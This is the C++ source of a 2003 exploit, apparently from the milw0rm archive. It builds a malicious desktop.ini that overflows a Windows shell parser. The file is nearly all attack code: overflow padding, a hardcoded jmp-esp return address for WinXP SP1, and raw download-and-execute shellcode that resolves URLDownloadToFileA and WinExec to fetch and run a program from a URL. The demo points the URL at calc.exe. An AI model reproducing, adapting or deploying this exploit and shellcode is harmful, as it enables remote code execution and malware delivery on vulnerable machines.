#include <fstream.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <direct.h>
char shellcode[]=
//download url and exec shellcode
//doesn't have any hardcoded values
//except the base address of the program
//searches the import table for
//LoadLibraryA, GetProcAddress and ExitProcess.
//by .einstein., dH team.
"\x81\xec\x40\x1f\x00\x00\xe8\x00\x00\x00\x00\x5d\x83\xed\x0b\xbf\x61\x57"
"\x7a\x74\xe8\x8c\x00\x00\x00\x89\xbd\x17\x01\x00\x00\xbf\x65\x1d\x22\x74"
"\xe8\x7c\x00\x00\x00\x89\xbd\x1b\x01\x00\x00\xbf\x17\x75\x79\x70\xe8\x6c"
"\x00\x00\x00\x89\xbd\x1f\x01\x00\x00\x8d\x85\x2c\x01\x00\x00\x50\x2e\xff"
"\x95\x17\x01\x00\x00\x8d\x9d\x33\x01\x00\x00\x53\x50\x2e\xff\x95\x1b\x01"
"\x00\x00\x6a\x00\x6a\x00\x8d\x8d\x4e\x01\x00\x00\x51\x8d\x8d\x5c\x01\x00"
"\x00\x51\x6a\x00\xff\xd0\x8d\x85\x23\x01\x00\x00\x50\x2e\xff\x95\x17\x01"
"\x00\x00\x8d\x9d\x46\x01\x00\x00\x53\x50\x2e\x8b\x9d\x1b\x01\x00\x00\xff"
"\xd3\x6a\x01\x8d\x8d\x4e\x01\x00\x00\x51\xff\xd0\x6a\x00\x2e\xff\x95\x1f"
"\x01\x00\x00\xbb\x3c\x00\x00\x01\x8b\x0b\x81\xc1\x04\x00\x00\x01\x8d\x41"
"\x14\x8b\x70\x68\x81\xc6\x00\x00\x00\x01\x8b\x06\x83\xf8\x00\x74\x51\x05"
"\x00\x00\x00\x01\x8b\x56\x10\x81\xc2\x00\x00\x00\x01\x8b\x18\x8b\xcb\x81"
"\xe1\x00\x00\x00\x80\x83\xf9\x00\x75\x2a\x81\xc3\x00\x00\x00\x01\x83\xc3"
"\x02\x33\xc9\x32\x0b\xc1\xc1\x08\x43\x80\x3b\x00\x75\xf5\x3b\xcf\x75\x04"
"\x8b\x3a\xeb\x16\x83\xc2\x04\x83\xc0\x04\x66\x83\x38\x00\x75\xc7\x83\xc6"
"\x14\x8b\x10\x83\xfa\x00\x74\xa8\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x00\x55\x52\x4c\x4d\x4f\x4e"
"\x00\x55\x52\x4c\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x54\x6f\x46\x69\x6c\x65"
"\x41\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x5c\x7e\x57\x52\x46\x35\x36\x33"
"\x34\x2e\x74\x6d\x70\x00";
char unicode_header[] = "\xFF\xFE";
char shell_header[] = "[.ShellClassInfo]\x0d\x0a";
#define OVERFLOW_LEN 0xA1C
void main()
{
char url[]="file://c:/winnt/system32/calc.exe";
// char url[]="http://localhost/cmd.exe";
char eip[] = "\xcc\x59\xfb\x77"; //0x77fb59cc - WinXP SP1 ntdll.dll (jmp esp)
char path[500];
strcpy(path,"domain HELL team");
mkdir(path);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
strcat(path,"\\desktop.ini");
ofstream out(path,ios::out+ios::binary);
out.write(unicode_header,sizeof(unicode_header)-1);
char zero = 0;
for (int i=0;i<strlen(shell_header);i++)
{
out.write(&shell_header[i],1);
out.write(&zero,1);
}
char pad = 'B';
for (i=0;i<OVERFLOW_LEN;i++) out.write(&pad,1);
char ebp[] = "1234";
out.write(ebp,4);
char pad0 = 1;
out.write(eip,4);
char pad2 = 'C';
for (i=0;i<12;i++) out.write(&pad,1);
out.write(shellcode,sizeof(shellcode)-1);
out.write(url,sizeof(url));
int len = sizeof(shellcode)-1+sizeof(url);
printf("shellcode+url: %d bytes\n",len);
if (len%2 == 1)
{
printf("it's odd, so add 1 extra byte");
out.write(&pad2,1);
}
out.close();
}
// milw0rm.com [2003-05-21]